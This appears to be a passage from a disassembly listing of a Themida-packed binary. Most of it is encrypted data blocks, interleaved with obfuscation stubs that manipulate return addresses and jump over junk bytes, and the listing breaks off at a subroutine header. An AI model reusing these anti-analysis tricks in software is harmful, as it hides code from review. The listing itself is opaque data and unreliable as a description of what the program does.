		dd 0C8A87EC0h, 2166F559h, 0C3CD8736h, 1ED010C0h, 0A4A0111Ah
		dd 2773FCF0h, 74669FDDh, 2166F6A5h, 0E23BD5A6h,	50A7C0Eh
		dd 52274ADh, 2166ECD0h,	0E233B06Ah, 872AD224h, 9669FA24h
		dd 15159D83h, 62DC264Eh, 0A06CF99Eh, 0C8BCD19Dh, 9CEF91E2h
		dd 2773ED67h, 97740CAh,	210CF38Fh, 21651D1Dh, 7946F5A6h
		dd 65EFAD90h, 65E7F18Dh, 217DF1F0h, 7126F56Ah, 0E14345F6h
		dd 0C5A66D31h, 0B2D74A9Fh, 0F8E7DAA9h, 7B67914h, 53DA7024h
		dd 210CF3CCh, 21651D38h, 7B46F535h, 75EFAF59h, 65E7F169h
		dd 2172F182h, 7324F553h, 0D2EC986Ah, 210C252Bh,	21651D3Dh
		dd 7E46F535h, 5DEFAA59h, 65E7F169h, 2170F182h, 7621F553h
		dd 2108356Ah, 3533705Dh, 210CF37Fh, 21651D62h, 7E46F59Ah
		dd 5DEFAA8Eh, 65E7F182h, 217EF177h, 7621F5A9h, 0FE6E7D17h
		dd 4B26357Eh, 228EA335h, 166F59Ah, 0A8383613h, 0A062D1D2h
		dd 3B62D117h, 6766F5A9h, 0FBA33682h, 0F211002Bh, 0AA667E95h
		dd 347B340Fh, 4B667E4Bh, 228EA7A6h, 166F553h, 0A83C36F3h
		dd 0A062D180h, 3C62D12Eh, 6366F535h, 0A5C836C8h, 0A63D2358h
		dd 0B137CCE5h, 3C8770DAh, 210CF3BCh, 21651D87h,	7A46F56Ah
		dd 7DEFAEF6h, 65E7F1BEh, 217FF169h, 7225F5A6h, 7DA89E90h
		dd 0AA09D15Ch, 34481441h, 219E1C6Ch, 0A969F535h, 2166F59Ah
		dd 9ED570C0h, 0B4EDF3BEh, 2773C13Eh, 74348A0h, 9836F3C1h
		dd 71B2BFD5h, 4142F1BCh, 0A89C7EFCh, 346764F8h,	0B49994A0h
		dd 2773F286h, 0C936F5C3h, 2166F5D7h, 79A5AD4Ah,	2542B1BCh
		dd 2542B11Bh, 2166F55Bh, 79A5A5E6h, 0A0694E7Bh,	2166F5AFh
		dd 2003405Dh, 0AC93F37Fh, 39D94CA8h, 77669F9Ch,	2166F6A5h
		dd 0E238D5A6h, 5127C0Dh, 52274ADh, 2166ECD0h, 0E230B36Ah
		dd 0A4C27F74h, 0D0E6997Bh, 0D8ED66FCh, 21741CF6h, 86B8F553h
		dd 36E16A89h, 0EF11AFCCh, 0FD7AFA9Ah, 0CA854218h, 25EFA509h
		dd 76669F69h, 2166F64Eh, 0E239D553h, 51A7CF6h, 52274D0h
		dd 2166E06Eh, 0E231B235h, 0AA341C3Ch, 0B499ABBEh, 2773FBBBh
		dd 60023CEDh, 8CE37C83h, 4B60E0D9h, 228EA56Ah, 166F535h
		dd 0A83E36C2h, 0A062D109h, 3662D1E2h, 6166F553h, 0EBAF36F9h
		dd 0A4A08187h, 2773FCAFh, 72669F66h, 2166F672h,	0E23DD54Dh
		dd 53A7CFDh, 5227457h, 2166EEADh, 0E235B6D4h, 1BD2D625h
		dd 571B09CDh, 4D4A4AFCh, 0AA0E24C6h, 70E92310h,	7B9D7E35h
		dd 0D542C128h, 4B43A4E6h, 228EA26Ah, 166F535h, 0A83936C5h
		dd 0A062D131h, 3862D1E2h, 6666F553h, 31B136FEh,	950E9FFDh
		dd 21637F65h, 86D9F535h, 0DE50F8F1h, 344EE4F8h,	73669FA0h
		dd 2166F6BBh, 0E23CD5A9h, 5327C8Eh, 522746Eh, 2166E931h
		dd 0E234B79Ah, 8C92C680h, 13CD5757h, 27ECFA6Bh,	0AA66F5A9h
		dd 3463A059h, 4F37E6Ch,	2260E028h, 34768427h, 9DE3784Bh
		dd 4B60EDD4h, 228EA553h, 166F5A9h, 0A83E368Ch, 0A062D12Eh
		dd 3B62D171h, 6166F59Ah, 0D0BA361Dh, 0F3F7C565h, 8EB7CABh
		dd 0DE60E0ADh, 74669F04h, 2166F682h, 0E23BD535h, 50A7CC7h
		dd 5227449h, 2166EDA2h,	0E233B053h, 0D1FAB7ECh,	6CE37CD9h
		dd 4B60E077h, 228EA435h, 166F59Ah, 0A83F3614h, 0A062D1EAh
		dd 3862D117h, 6066F5A9h, 25743685h, 2074C3A5h, 341378BCh
		dd 0F1EDF38Fh, 28A3708Bh, 9B21F3B3h, 6A5550FCh,	2166F141h
		dd 537365D4h, 0C19C4FCBh, 0C836EDCDh, 2166F592h, 8B5CEB50h
		dd 0F987CC15h, 2542B1D8h, 21761CC9h, 4E26F5D4h,	99465F63h
		dd 3FB8D71Eh, 1E5EC32Fh, 0F2DED98Fh, 401C0CC6h,	0AA06F5D8h
		dd 0DCDF936Fh, 65EF9440h, 0EFEDF14Eh, 54DBFE6Dh, 0DE60E08Ah
		dd 344EE4F8h, 21751CA0h, 2AD4F553h, 0B6440FC9h,	7FF4798Eh
		dd 0ED10BCD2h, 0E94C03A4h, 23EFFA41h, 9766F54Dh, 9DE37831h
		dd 4B60ED21h, 228EA2A9h, 166F5D4h, 0A8393635h, 0A062D149h
		dd 3962D1DEh, 6666F54Dh, 0CD0536F1h, 0C92274D3h, 2166F5B8h
		dd 5091B9D2h, 5869E650h, 0C7B7A06Bh, 57D16FAAh,	0A8D3DE7Fh
		dd 7F60E0A0h, 210C25ACh, 21651DFBh, 7B46F5D4h, 75EFAFA9h
		dd 65E7F111h, 217EF1BEh, 7324F54Dh, 949C5065h, 0AC4F9939h
		dd 2773DD24h, 2166FF3Ch, 6D59976Ah, 0BC65076Bh,	2E9342B5h
		dd 2166F9C6h, 21611CA6h, 4E17F553h, 0B3959359h,	0C9ECAABFh
		dd 27C770E3h, 210CF320h, 21651DCCh, 7F46F54Dh, 55EFAB65h
		dd 65E7F177h, 217DF18Dh, 7720F5D4h, 0AFB827A9h,	0EA495474h
		dd 0ACE37C1Fh, 0E760E049h, 346F3023h, 210CA655h, 21651DF9h
		dd 7946F5D4h, 65EFADA9h, 65E7F111h, 2172F1BEh, 7126F54Dh
		dd 0AD69A565h, 2166F559h, 2166F040h, 2010C1D4h,	0BC4F4F3Ah
		dd 2773E810h, 2166F172h, 1839654Dh, 79DC933Fh, 7336A505h
		dd 7E1247FFh, 338FC4DBh, 9166F56Ah, 10590828h, 0AA02A70h
		dd 0DB1FC66Dh, 851BBFB7h, 0AA3EAF75h, 0C962D1EDh, 2166F5C6h
		dd 0A25D7BD2h, 862CD690h, 6C5AEFF6h, 0FBF2F269h, 0AA3C6FBCh
		dd 5227C53h, 733695ADh,	8AD54D6Ah, 4757FA47h, 7BBB178Dh
		dd 40BC7EC2h, 77669F15h, 2166F64Eh, 0E238D553h,	5127CF7h
		dd 52274D0h, 2166EC6Eh,	0E230B335h, 4A00ED89h, 0CFDCC9E4h
		dd 9403B5ECh, 30D30A6Ah, 4B60E081h, 228EA3D4h, 166F56Ah
		dd 0A838366Bh, 0A062D1EEh, 3D62D109h, 6766F5A6h, 0A8C23605h
		dd 393E71BAh, 0A8F6D2A1h, 344C8CE7h, 9DE37833h,	4760EDE8h
		dd 0DE9A8FF7h, 73669F76h, 2166F6BBh, 0E23CD5A9h, 5327C8Eh
		dd 522746Eh, 2166E331h
		dd 0E234B79Ah, 0AAC31E59h, 3466A82Bh, 60E37C55h, 9B60E081h
		dd 5C1DEBC6h, 23AF70E3h, 0AA00F320h, 0E4E33369h, 7660E044h
		dd 7B93A3F5h, 216D1D0Dh, 7EBAF5A9h, 0EFE29C1Eh,	0D5910C8Dh
		dd 4B0EAF24h, 47B63722h, 0A06CA6F3h, 0CB0AD192h, 0DD36B595h
		dd 54D37EF7h, 0DE60E0FBh, 344EE4DFh, 27ECFA33h,	0A066F59Ah
		dd 0FFBE888Ah, 0D4EB7CAFh, 0AC60E054h, 3914492Ch, 4BB60AD2h
		dd 228EA76Ah, 166F535h,	0A83C36C0h, 0A062D119h,	3462D1E2h
		dd 6366F553h, 2EF036FBh, 0A8B74ADBh, 346E48EFh,	0E4E33333h
		dd 6260E093h, 0C931F527h, 2166F5A5h, 7EA5AA73h,	25428920h
		dd 2542B155h, 2166F57Fh, 50A5A272h, 4CEBDC18h, 0C960E079h
		dd 2166F5A2h, 9DF6857Bh, 1AE24BCFh, 37ECFA84h, 4166F56Ah
		dd 2166FDDDh, 327F359Ah, 608E2159h, 0A369ABDDh,	2166F553h
		dd 5227EC8h, 0D8ED93D0h, 0D6EDF5E1h, 2542B1BCh,	2166FF72h
		dd 9B809E4Dh, 3D59C7B6h, 472BA47Fh, 781B3413h, 76669F8Ch
		dd 2166F682h, 0E239D535h, 51A7CC5h, 5227449h, 2166ECA2h
		dd 0E231B253h, 93259F5Bh, 0AE6957BAh, 2166F56Ch, 300360BEh
		dd 9499F38Fh, 2773DD5Ch, 0C935F5CCh, 2166F550h,	7AA5AE89h
		dd 2542A95Dh, 2542B1EBh, 2166F528h, 3EA5A6D9h, 0AC87C12Ch
		dd 5E9E26A9h, 0E0EBDC68h, 0AC60E085h, 39144951h, 71669F6Ch
		dd 2166F6DDh, 0E23ED59Ah, 5227C15h, 52274A2h, 2166E157h
		dd 0E236B5A9h, 0D0D37EAAh, 0DE60E077h, 0F3D1FAE5h, 2ACF6013h
		dd 0A4EFF358h, 2773C63Bh, 0C931F539h, 2166F5AAh, 7EA5AAF4h
		dd 254289E3h, 2542B1B4h, 2166F58Fh, 60A5A20Ah, 60F37E38h
		dd 4760E074h, 0AC629817h, 39D95C51h, 73669F6Ch,	2166F6DDh
		dd 0E23CD59Ah, 5327C17h, 52274A2h, 2166E957h, 0E234B7A9h
		dd 0C813A7FEh, 562530A5h, 0B6A17474h, 0B16C0D84h, 9B00A71Dh
		dd 10692562h, 0B56B3EE9h, 713EAFA7h, 73669F44h,	2166F682h
		dd 0E23CD535h, 5327CC0h, 5227449h, 2166EDA2h, 0E234B753h
		dd 85B6F787h, 0F4F30A1Fh, 4760E06Dh, 97FB1CB4h,	0AA002D11h
		dd 0BCE378B7h, 4B60ED19h, 228EA053h, 166F5A9h, 0A83B3689h
		dd 0A062D106h, 3A62D171h, 6466F59Ah, 0F62C3618h, 0D0CF63FDh
		dd 47361735h, 25EF0622h, 71669FF0h, 2166F682h, 0E23ED535h
		dd 5227CC2h, 5227449h, 2166E8A2h, 0E236B553h, 0E51DD41Eh
		dd 0A3C71F4Fh, 0D6E7CE2Dh, 683335C7h, 2166E473h, 0CCADC24Dh
		dd 67205420h, 0E60EE6BEh, 0C10FBB06h, 983658EFh, 70900C2Ah
		dd 4142E9BCh, 64B874FCh, 0A4EBFC88h, 4060E0BBh,	2F7B60ACh
		dd 210CF3BCh, 21651D83h, 7E46F56Ah, 5DEFAAF6h, 65E7F1BEh
		dd 217FF169h, 7621F5A6h, 67A1AC90h, 0AA3F6135h,	80E37C23h
		dd 4760E072h, 0E6ED928Ah, 346E581Fh, 2166FA4Bh,	77669FA6h
		dd 2166F6BBh, 0E238D5A9h, 5127C8Ah, 522746Eh, 2166E131h
		dd 0E230B39Ah, 0DE9D7E46h, 347E5433h, 0DB7C55h,	0A860E0A3h
		dd 34417051h, 58EB7C6Ch, 0AA60E01Ch, 344C041Fh,	57FB784Bh
		dd 0A860ED75h, 9CEBF410h, 2773E454h, 0F2364059h, 12DFF372h
		dd 0D266F535h, 99551E3Eh, 2166F54Dh, 221235ADh,	0AA66ED91h
		dd 726AD1EDh, 2166F53Ch, 0E2E7AE6Ah, 2166F522h,	3142A913h
		dd 3542B1C4h, 0DB514DFDh, 0C199F5E2h, 2542B122h, 210C152Bh
		dd 21651D3Dh, 7E46F535h, 5DEFAA59h, 65E7F169h, 217AF182h
		dd 7621F553h, 2936EA6Ah, 0B597F2E3h, 210CA676h,	21651D66h
		dd 7A46F59Ah, 7DEFAE8Eh, 65E7F182h, 217DF177h, 7225F5A9h
		dd 57852117h, 0A92A449Ch, 30F37E17h, 4060E092h,	220F787Ch
		dd 9CEBF3B3h, 277E4ACEh, 0F2957824h, 14DEF3CCh,	12FED3C1h
		dd 3472D8B0h, 0E0A9DE9Ch, 36E1ED95h, 8F2C6B40h,	0B89CE5F3h
		dd 0A62773FDh, 0EEA26F80h, 0AF346558h, 0E98312F5h, 8BA4F305h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9CC0A080h, 9BCA810Eh, 0B53195A0h, 6151D11h
		dd 76E9h, 0AE900h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h, 1860Fh
		dd 61FC0000h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0AAC35242h, 0B05E9A11h,	60F8E4D4h, 68D0Fh, 890F0000h
		dd 0
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B6EC5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6EC5	proc near		; CODE XREF: Themida_:005B6EBDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B6EC5	endp

; ---------------------------------------------------------------------------
		db 87h,	0E9h, 0Ch
		dd 6000000h, 1B0F4575h,	63FA0301h, 8BD03E0Eh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 2891C685h, 0CE9F560h, 0B8000000h, 37556C58h,	8581234Ah
		dd 61C691BCh, 8F5BD83h,	75000615h, 0ADBD8309h, 61503h
		dd 53501974h, 0B9B8C08Bh, 89000004h, 1502A185h,	59D8D06h
		dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h,	0B9B85350h
		dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0D640C352h, 2F53D318h, 6A2FFD8Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0A560C352h, 0CE922h,	827B0000h, 0CE7F25A9h, 0FC178BE8h
		dd 0C08BBF12h, 158A0Fh,	10E90000h, 8D000000h, 51D9A591h
		dd 1BCA01B0h, 0B498EF72h, 0FAC0999h, 689h, 0BA666000h
		dd 40613729h, 5160C18Bh, 60585950h, 22918D89h, 0FE80615h
		dd 31000000h, 0B36461EFh, 56630233h, 3CCA78FAh,	6158E29Dh
		dd 919D8961h, 0EB061530h, 4, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 92707DFEh
		dd 92347CFAh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0A7C35242h, 660DFDCBh, 668E85BEh, 858DFA8Bh, 615279Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 17C35545h
		dd 621C75h, 0CB344314h,	50F28B66h, 0FE96052h, 0F6000000h
		dd 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 9E99CA3h,	52000000h
		dd 0B7E0957Fh, 3D9EF83Ch, 4895F61h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0E860D041h
		dd 9, 934D45C3h, 0B0A0D01Eh, 895EF526h,	1502718Dh, 0BD8B6106h
		dd 6150225h, 6AF8006Ah,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0FE0A7005h, 0B998DA62h
		dd 59952939h, 8B061527h, 152DDDBDh, 2F858D06h, 290618D8h
		dd 150255B5h, 5C08306h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0A3C35545h, 0A5382C95h, 151110Ah, 150AA995h
		dd 0E9505E06h, 6, 0D2B097Eh, 4896F10h, 65B58B24h, 6A061517h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9E4A08ADh, 6AF0BF0Fh, 52006A00h
; ---------------------------------------------------------------------------


loc_5B719C:				; DATA XREF: Themida_:0057C558o
					; Themida_:0057CA2Co
		call	sub_5B71A4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B71A4	proc near		; CODE XREF: Themida_:loc_5B719Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B71A4	endp

; ---------------------------------------------------------------------------
		wait
		jmp	loc_5B71BF
; ---------------------------------------------------------------------------
		dw 35ADh
		db 31h,	0, 0Dh
; ---------------------------------------------------------------------------


loc_5B71BF:				; CODE XREF: Themida_:005B71B5j
		mov	[ebp+6152FA1h],	ebx
		call	dword ptr [ebp+6152679h]
		add	di, 0E10Ch
		lea	ebx, [ebp+6189C15h]
		jmp	loc_5B71E1
; ---------------------------------------------------------------------------
		db 9Fh
		dd 434371DEh
		db 15h
; ---------------------------------------------------------------------------


loc_5B71E1:				; CODE XREF: Themida_:005B71D6j
		call	ebx	; _iob
		push	0
		push	ebp
		call	sub_5B71EE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B71EE	proc near		; CODE XREF: Themida_:005B71E6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B71EE	endp

; ---------------------------------------------------------------------------
		dw 889Fh
		dd 0FE256E1Fh, 0F3C6F7EBh, 13E9h, 5999A400h, 0BEE58CA3h
		dd 17698F4Ch, 1F16B7BAh, 22A18A2Ch, 211BD8Bh, 85FF0615h
		dd 6151535h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	47C35545h, 0E9803EBEh, 0Eh, 0B471A916h,	0F0AAF980h
		dd 0DCBD436Bh, 0AAE961FCh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 618D839h
		push	0
		push	edi
		call	sub_5B727A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B727A	proc near		; CODE XREF: Themida_:005B7272p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B727A	endp

; ---------------------------------------------------------------------------
		dw 0DC0Ch
		dd 0FCB08FBDh, 8ADBD81h, 7D00615h, 860F0000h, 13Ah, 3F1BD03h
		dd 9D8B0615h, 6152871h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 6FC35242h, 0E381A2h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 201DC352h, 0AE793F75h, 0DB0BF2B6h, 96850Fh, 8D890000h
		dd 6152F81h, 0D5E2BD83h, 0F000618h, 1F84h, 0F6BF0F00h
		dd 0AEE9h, 0CE96000h, 1000000h,	70463397h, 0A7BE8EC5h
		dd 66CD1DC0h, 616102BEh, 0D5E285C7h, 10618h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 7E837C3h, 1C000000h,	61541D51h, 5FF53F63h, 5EE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 5D28EAF0h, 5E927DEh,	0C2000000h, 0D831FDE7h,	0D5E285C7h
		dd 618h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 180424h, 51410000h, 0A0CEA7C3h, 9589FD0Eh, 6150CC5h
		dd 8DF18B66h, 1528719Dh, 0D1DABE06h, 23817F5Eh,	0FFFFFEFFh
		dd 33C5BD8Bh, 8C660615h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 5D5C7659h, 0F4FE446Ah
		dd 0E1B58B8Eh, 0F6061501h, 840F04C3h, 58h, 95FFF18Bh, 61518A1h
		dd 6919D29h, 0E8900615h, 10h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh
		dd 38971045h, 3AD5BE66h, 6050505Eh, 595729B1h, 6A905E61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 42F2C355h, 8D898C53h, 6152D91h, 496E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 36197D71h, 8B22C6F4h, 151051BDh, 0DF816606h,	0B01B64h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h
		dd 9E99483h, 52000000h,	0B8B7C3Fh, 67489FBBh, 13E9h, 78061000h
		dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 64B6C8C3h, 335E2F8Eh, 0DDB5895Fh, 0E4061526h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 75BD0992h, 8B061524h, 152E4DB5h, 0D8B60F06h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 2AF58D01h
		dd 6BA0615h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0CDD3C352h,	0A1858972h
		dd 0F06150Ah, 685h, 6DB58B00h, 8B061529h, 53006AC3h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0B6D78198h, 0C1210240h, 11E904E8h, 0AA000000h, 0F83E6605h
		dd 0C20D1D80h, 0B07645E2h, 581A33Ch, 66E2F766h,	0B87FF681h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 840794C3h, 6650F5DCh, 1C89FA8Bh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0ADB5FFEBh, 6A061508h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF8AC351h,	152E2195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 15117FEEh, 691BD8Bh, 0BD8B0615h,	6150C5Dh
		dd 70E600B0h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0FAC35646h, 9E9699Ah, 5D000000h, 0C03512C2h, 0E672F01Bh
		dd 1545B58Bh, 71E40615h, 9850Fh, 800F0000h, 3, 3CF38B66h
		dd 48830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 4363C355h, 0BD71D075h
		dd 0DE9h, 0A8E50E00h, 51C459F0h, 0D71F07F5h, 0B60FE656h
		dd 0F6BF0FD8h, 0CBEE8166h, 6BA41h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 514899C3h
		dd 0C4436431h, 66C38B23h, 0E8C1F88Bh, 0D0BFBE04h, 0F7664BACh
		dd 15BD89E2h, 2B061505h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9E51DF6Bh, 0BF7F7AD4h
		dd 63D70268h, 899BD8Bh,	8B580615h, 1514D9BDh, 35858906h
		dd 2B061524h, 88880FD8h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7294C355h
		dd 0C2063A82h, 79DE17EDh, 0D3D7E681h, 7B9273Dh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 9048C350h, 72581C3h, 68B0F4Fh, 8B000000h
		dd 150BA1BDh, 0C18306h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9AC35343h, 0C66F1704h, 2B5348BBh, 15078DB5h
		dd 0FD93B06h, 0F686h, 0BD0B5000h, 6152119h, 0D1BD8B5Fh
		dd 66061507h, 0C1F6D98Ch, 0B1840F04h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0D51BC355h, 0B824F01Dh, 18A195FFh, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C00A6AC3h, 0E9BFC366h, 6, 0EA6BC9C4h, 6A5B0491h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0A953C356h, 0DB5CF494h, 72AF3B2Ah, 0BD8BC32Bh, 61517F9h
		dd 8343Dh, 25860F00h, 0F000000h, 585h, 7A40BF00h, 40E93479h
		dd 66000000h, 0E1FBDE81h, 0BE9h, 8A2C1F00h, 6EAC22A1h
		dd 905287B4h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B9852C3h, 150A79BDh, 6D9D8906h
		dd 8B06151Eh, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 5EE3C352h, 2E53E41Fh
		dd 9EBF6639h, 9D85C738h, 77061507h, 6A750BC3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9BF7C357h, 0FD0041DFh, 8BD84F64h, 1533FDBDh,	0E9C08B06h
		dd 6, 93297BF4h, 0BD81A47Ah, 61508ADh, 7D0h, 32850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 8AC945C3h, 0A7CC8CBCh, 0A5B5898Eh, 0FF061526h, 1508AD85h
		dd 0F9B70F06h, 8ADB5FFh, 0B58B0615h, 6150391h, 2E2195FFh
		dd 0BF0F0615h, 78B890F2h, 6A123456h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F618C356h
		dd 0DF979D8Dh, 70E90618h, 0E8FFFFF8h, 8, 87B0A7EEh, 0C3A61B5Eh
		dd 2C918589h, 0B58B0615h, 6151DC9h, 0FC18B5Eh, 686h, 5DBD8900h
		dd 0EB061513h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 1FEFCFB3h, 8999D50Fh
		dd 1521E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0BCBFB4C6h, 6E3DFF93h, 8DF78B9Bh
		dd 15279D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h
		dd 0C3504000h, 36DDB934h, 8E9E190h, 0AE000000h,	0F3B14738h
		dd 0E9099767h, 0Bh, 0AAF08318h,	7EEED8B1h, 90EAE3A8h, 905F5750h
		dd 1D6DBD8Bh, 6A0615h, 160DBD31h, 6A0615h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F6C35141h, 0B589C029h
		dd 61511E5h, 0E1B7858Dh, 0F98B0618h, 0F4E7D681h, 0C0832156h
		dd 0F88B6605h, 0EE8h, 5FE74400h, 0AFA6AFEFh, 0CE558D77h
		dd 5FB8A7E6h, 850F5390h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	eax
		mov	edi, 57694559h
		nop
		push	0
		push	ebp
		call	sub_5B7B2F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7B2F	proc near		; CODE XREF: Themida_:005B7B27p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5B7B2F	endp

; ---------------------------------------------------------------------------
		ja	short loc_5B7BB9
		mov	eax, ds:6AFB8B66h
		add	[edi], cl
		mov	bh, 0FBh
		mov	[ebp+6152F15h],	esi
		push	0
		push	0
		push	ecx
		call	sub_5B7B5D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7B5D	proc near		; CODE XREF: Themida_:005B7B55p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5B7B5D	endp

; ---------------------------------------------------------------------------
		and	ecx, edx
		jmp	loc_5B7B7A
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 72h, 53h
; ---------------------------------------------------------------------------
		cmp	al, 74h


loc_5B7B7A:				; CODE XREF: Themida_:005B7B6Fj
		call	dword ptr [ebp+6152679h]
		push	0
		push	esi
		call	sub_5B7B8B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7B8B	proc near		; CODE XREF: Themida_:005B7B83p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B7B8B	endp

; ---------------------------------------------------------------------------
		db 3Dh
		dd 554D1FFDh, 2C898501h, 9D8D0615h, 6189C15h, 2264D781h
		dd 0B5896C5Ch, 6151335h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5B7BB9:				; CODE XREF: Themida_:005B7B3Fj
		ror	dword ptr [ebx+152665BDh], cl
		push	es
		inc	dword ptr [ebp+6151535h]
		push	0
		push	ebx
		call	sub_5B7BD1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



